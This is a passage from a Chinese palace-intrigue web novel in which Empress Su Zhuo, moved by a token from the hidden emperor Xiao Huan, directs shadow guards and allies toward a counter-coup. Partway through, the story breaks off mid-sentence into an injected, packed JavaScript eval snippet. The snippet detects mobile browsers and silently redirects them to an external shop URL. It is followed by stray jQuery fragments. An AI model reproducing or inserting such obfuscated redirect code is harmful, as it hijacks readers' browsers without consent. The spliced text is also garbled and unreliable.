是她及笄那年,亲手编了送给当时还是太子的萧寰的。那时他说:“灼儿手艺甚好,孤必日日佩戴。”
后来他登基为帝,她入主中宫,再后来……她再没见他戴过,她以为他早就丢了。
却原来,他一直贴身藏着。
玉佩下方,还压着一张对折的,仅有指甲盖大小的薄纸。
苏灼展开,上面是熟悉的小字,只寥寥数字:“玉在,人在。待卿归,共山河。”
三年冷宫,三年恨意,在这一纸一玉面前,土崩瓦解。
那些她以为早已死去的情感,如同被冰封的种子,在真相的阳光和这句迟来的承诺浇灌下,疯狂地破土而出,带着尖锐的疼痛和汹涌的酸涩。
他一直在等她,等她看清真相,等她带着力量和证据回来,等他布下的所有棋子到位,等她这个持令的东风。
双眼瞬间通红,泪水毫无征兆地涌出,大颗大颗砸在玉佩和纸笺上,苏灼紧紧攥着玉佩,温润的玉质仿佛还残留着他身体的温度,她咬着唇,不让自己哭出声,可肩膀却止不住地颤抖。
江一苇默默移开目光,看向地窖昏暗的顶壁,韩彰和其他影卫也垂下眼帘,静立无声。
许久,苏灼才用袖子狠狠抹去眼泪,抬起头时,眼中仍有水光,却已是一片清冽的坚定,那抹犹豫和被恨意包裹的脆弱,仿佛随着泪水流走了。
“韩校尉,”她的声音沉稳,“你立刻联络李询将军,告知他双令已合,证据在手,请他按陛下先前部署整军待命等待信号。与此同时能否设法将京城局势和我们的计划,传递给南境安国公?”
韩彰听到这些瞬间精神起来,抱拳道:“令主放心!我们有特殊信道三日之内消息可抵南境!李询将军处快马一日可到!”
苏灼轻轻点头又看向江一苇:“江先生,南北夹击之策可行但细节还需推敲尤其是京城内应和陛下现身时机你对江湖与各路势力熟悉,可能助我们谋划周全?”
江一苇看着她眼中重燃的光芒,但那光芒不再仅仅是为了复仇和寻父,更添了一份沉甸甸的责任和守护的意志,他心中微涩,又觉宽慰,郑重颔首:“义不容辞。”
苏灼将玉佩仔细贴胸藏好,感受着那点暖意,她拿起父亲的手记和那两封密函,看向韩彰:“这些是萧执通敌的铁证,务必妥善保管,复制多份,确保万无一失。起事之时,需公告天下,以正人心。”
“是!”韩彰双手接过铁盒,神情严肃如同接圣旨一般。
“另外,”苏灼顿了顿,“继续寻找我父亲下落。生要见人……死,要见尸。”最后几个字,她说得有些艰难。
“属下明白!已加派人手,扩大搜寻范围。”韩彰道。
地窖外寒风呼啸雪似乎又开始下了。
但地窖内,一股压抑了许久的力量正在苏醒南北烽烟将起棋局已至中盘执棋之手,即将落下最重的一子。
苏灼走到地窖入口,掀开木板门一条缝。冰冷的雪风灌进来,吹起她额前的碎发。她望向南方,望向皇陵的方向,仿佛能穿透千山万水,看到那个孤独蛰伏的身影。
萧寰,等我,带着证据和影卫带重振山河的力量,回去找你。
共山河……
决定一旦做出,便再无犹豫。
那地窖里灯火摇曳,映着几张肃穆的面孔,韩彰已将铁盒内的证据小心誊抄数份,分别用不同渠道秘密送往南境安国公处及几个关键州郡的暗桩,李询那边,已派了最精干的影卫带着苏灼的亲笔信和半枚玄龙令的拓印,连夜出发。
“令主,江先生,”韩彰铺开一张简陋的京城布防图,手指点在上面。
“陈东平掌控京城后禁军大半已换其心腹九门守将也多是萧执旧部或趋炎附势之徒。不过,影卫在宫中及几处关键衙门仍有暗线,西华门副统领,司礼监随堂太监刘安还有…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160541|196593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…御前副统领李琰,皆是可信之人,至少不会对令主不利。”
听到李琰的名字,苏灼心头微动。
那个总是沉默坚毅,执行萧寰命令从不打折的侍卫统领。
李琰?
她眉头皱起,缓缓开口道问。“李琰……他可知陛下实情?”
韩彰摇头,语气沉重的道:“陛下安危乃绝密,除影卫核心数人无人知晓。李琰统领忠于陛下,但陈东平势大,他明面上不得不虚与委蛇,暗中应当也在设法探听陛下真正下落。令主若需联络,可用此暗号。”
说话期间他递过来一枚不起眼的铜钱,边缘有细微的磕痕,呈特定排列,“将此钱交于任何一处张记杂货铺,言买三刀陈年宣纸,自会有人接引。”
江一苇这边则是仔细的看着布防图,突然他的指尖划过皇陵所在西山的位置,:“陛下……陛下在皇陵,陈东平不可能毫无察觉,西山附近驻军可有异动?”
韩彰立刻回答道“有。”他面色凝重,接着说道:“三日前,陈东平以护卫皇陵谨防盗匪为名,增派了一营兵马驻扎西山脚下,扼守上山要道,而领兵的人正是陈东平的外甥,一个纨绔子弟,根本不足为虑,但兵力是实打实的,我们的人尝试过靠近,发现明岗暗哨极多,且近期有生面孔的高手在皇陵外围活动,不似普通军士。”
萧寰的处境,比想象的更危险。陈东平或许不确定萧寰是否真死,但他显然要将皇陵彻底监控起来,以防万一。
“必须尽快去皇陵。”苏灼看向江一苇,“江先生,联络李询将军、协调北境军南下的重任,只能托付给你了。”她顿了顿,声音低了些,“此去凶险,你……务必保重。”
江一苇望着她,地窖昏暗的光线下,她脸色依旧苍白,眼神却亮如寒星,他抿紧唇,心中那股复杂的情绪再次翻涌着,她终究是要回到那个人身边的,而他,能做的便是为她扫清前路障碍。